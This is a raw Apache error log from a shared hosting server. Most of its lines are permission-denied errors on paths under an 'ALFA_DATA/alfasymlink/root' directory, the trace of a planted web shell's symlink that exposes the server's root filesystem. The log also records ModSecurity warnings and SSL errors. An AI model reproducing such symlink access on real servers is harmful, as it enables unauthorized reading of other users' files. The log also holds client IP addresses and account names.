[Mon Oct 26 14:18:18.903959 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/EB_JgHXTS_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/EB_JgHXTS_/' is executable
[Mon Oct 26 14:18:18.904002 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/S7yeadvPLt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/S7yeadvPLt/' is executable
[Mon Oct 26 14:18:18.904079 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Z33Xr5YNYQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Z33Xr5YNYQ/' is executable
[Mon Oct 26 14:18:18.904166 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/9qR6QZfgjM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/9qR6QZfgjM/' is executable
[Mon Oct 26 14:18:18.904212 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/1f5_lXm747/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/1f5_lXm747/' is executable
[Mon Oct 26 14:18:18.904326 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/kGbyt5GibL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/kGbyt5GibL/' is executable
[Mon Oct 26 14:18:18.904386 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/nvY9ED8VzZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/nvY9ED8VzZ/' is executable
[Mon Oct 26 14:18:18.904432 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Re609yu1zD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Re609yu1zD/' is executable
[Mon Oct 26 14:18:18.904529 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/6NbtUbNDlC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/6NbtUbNDlC/' is executable
[Mon Oct 26 14:18:18.904576 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/UzG84SehML/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/UzG84SehML/' is executable
[Mon Oct 26 14:18:18.904676 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/W8MHf4Zxj7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/W8MHf4Zxj7/' is executable
[Mon Oct 26 14:18:18.904735 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/2rVIel3WrA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/2rVIel3WrA/' is executable
[Mon Oct 26 14:18:18.904785 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/' is executable
[Mon Oct 26 14:18:18.904840 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/cDinXPzzIs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/cDinXPzzIs/' is executable
[Mon Oct 26 14:18:18.904906 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/r7NY5hafpJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/r7NY5hafpJ/' is executable
[Mon Oct 26 14:18:18.904971 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Qz4yTy6bRg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Qz4yTy6bRg/' is executable
[Mon Oct 26 14:18:18.905030 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/fGFl3Hs6F6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/fGFl3Hs6F6/' is executable
[Mon Oct 26 14:18:18.905093 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/' is executable
[Mon Oct 26 14:18:18.905172 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/' is executable
[Mon Oct 26 14:18:18.905236 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/A4pXv2TKkc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/A4pXv2TKkc/' is executable
[Mon Oct 26 14:18:18.905287 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/' is executable
[Mon Oct 26 14:18:18.905351 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/PbgIeBycdi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/PbgIeBycdi/' is executable
[Mon Oct 26 14:18:18.905396 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/uoip5FWHmS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/uoip5FWHmS/' is executable
[Mon Oct 26 14:18:18.905437 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Nisnt6W17S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Nisnt6W17S/' is executable
[Mon Oct 26 14:18:18.905479 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/TYWco4I01R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/TYWco4I01R/' is executable
[Mon Oct 26 14:18:18.905530 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/HsbhoqpxvF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/HsbhoqpxvF/' is executable
[Mon Oct 26 14:18:18.905617 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/com.google.Chrome.RuHS4J/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/com.google.Chrome.RuHS4J/' is executable
[Mon Oct 26 14:18:18.905668 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/73W4Upx2xZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/73W4Upx2xZ/' is executable
[Mon Oct 26 14:18:18.905779 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/netAn5lB7R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/netAn5lB7R/' is executable
[Mon Oct 26 14:18:18.905892 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/fnSpdRPZXM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/fnSpdRPZXM/' is executable
[Mon Oct 26 14:18:18.905941 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/iikh7iS_bx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/iikh7iS_bx/' is executable
[Mon Oct 26 14:18:18.906001 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/pRcXpLxgau/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/pRcXpLxgau/' is executable
[Mon Oct 26 14:18:18.906054 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/bxaVZth3VS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/bxaVZth3VS/' is executable
[Mon Oct 26 14:18:18.906103 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/qoKgRIpeKE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/qoKgRIpeKE/' is executable
[Mon Oct 26 14:18:18.906145 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/FtHSIHY9fJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/FtHSIHY9fJ/' is executable
[Mon Oct 26 14:18:18.906182 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/k7tPBxTQIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/k7tPBxTQIo/' is executable
[Mon Oct 26 14:18:18.906238 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/XP6cTUswRK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/XP6cTUswRK/' is executable
[Mon Oct 26 14:18:18.906306 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/ouS9dGGoxk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/ouS9dGGoxk/' is executable
[Mon Oct 26 14:18:18.906352 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/' is executable
[Mon Oct 26 14:18:18.906394 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/mFSuYYVNz9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/mFSuYYVNz9/' is executable
[Mon Oct 26 14:18:18.906435 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/40NmY00D8K/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/40NmY00D8K/' is executable
[Mon Oct 26 14:18:18.906474 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/7SsEHkh7b7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/7SsEHkh7b7/' is executable
[Mon Oct 26 14:18:18.906554 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/eLvl5rS_li/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/eLvl5rS_li/' is executable
[Mon Oct 26 14:18:18.906614 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/tQSVI9ghfx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/tQSVI9ghfx/' is executable
[Mon Oct 26 14:18:18.906662 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/' is executable
[Mon Oct 26 14:18:18.906760 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Rbnkhw3mMN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Rbnkhw3mMN/' is executable
[Mon Oct 26 14:18:18.906845 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/XtfNlSjyV2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/XtfNlSjyV2/' is executable
[Mon Oct 26 14:18:18.906905 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/No9Qeb2GGl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/No9Qeb2GGl/' is executable
[Mon Oct 26 14:18:18.906962 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/DRWsFfNFOJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/DRWsFfNFOJ/' is executable
[Mon Oct 26 14:18:18.907005 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/p_Vpg5SIle/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/p_Vpg5SIle/' is executable
[Mon Oct 26 14:18:18.907074 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/2qjNiW1LMS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/2qjNiW1LMS/' is executable
[Mon Oct 26 14:18:18.907117 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Y6sES0AEnt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Y6sES0AEnt/' is executable
[Mon Oct 26 14:18:18.907172 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/' is executable
[Mon Oct 26 14:18:19.752661 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 52.203.65.83:28054] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:18:23.305306 2026] [security2:error] [pid 3064918:tid 3064918] [client 43.165.195.234:47994] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at-Zb7OTOqUhLlGpMrXZkgAAABM"]
[Mon Oct 26 14:18:24.782421 2026] [core:error] [pid 3074872:tid 3074872] (13)Permission denied: [client 18.204.89.56:56597] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup9/device/usb1/driver/unbind
[Mon Oct 26 14:18:27.995214 2026] [core:error] [pid 3074873:tid 3074873] (13)Permission denied: [client 3.224.215.150:4597] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/bind
[Mon Oct 26 14:18:31.788380 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.210.204.255:39826] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:18:35.945418 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 100.28.118.16:59443] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:18:39.723758 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 54.157.99.244:43905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:18:43.817965 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 44.212.131.50:62048] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:18:52.037220 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 54.204.12.115:33912] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:18:55.939242 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 50.19.102.70:14893] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:19:03.781869 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 34.233.114.237:13987] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:19:04.718230 2026] [authz_core:error] [pid 3058816:tid 3058816] [client 185.12.59.118:39488] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 14:19:09.854833 2026] [core:error] [pid 3074879:tid 3074879] (13)Permission denied: [client 85.208.96.196:47848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_perm_event/trace
[Mon Oct 26 14:19:12.348182 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 98.84.60.17:55223] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:19:15.837911 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 52.73.6.26:62798] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:19:21.136383 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 85.208.96.200:25036] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ebitmap_node/objects
[Mon Oct 26 14:19:23.993495 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 34.202.88.37:11456] AH02013: coalesce failed to read from data bucket
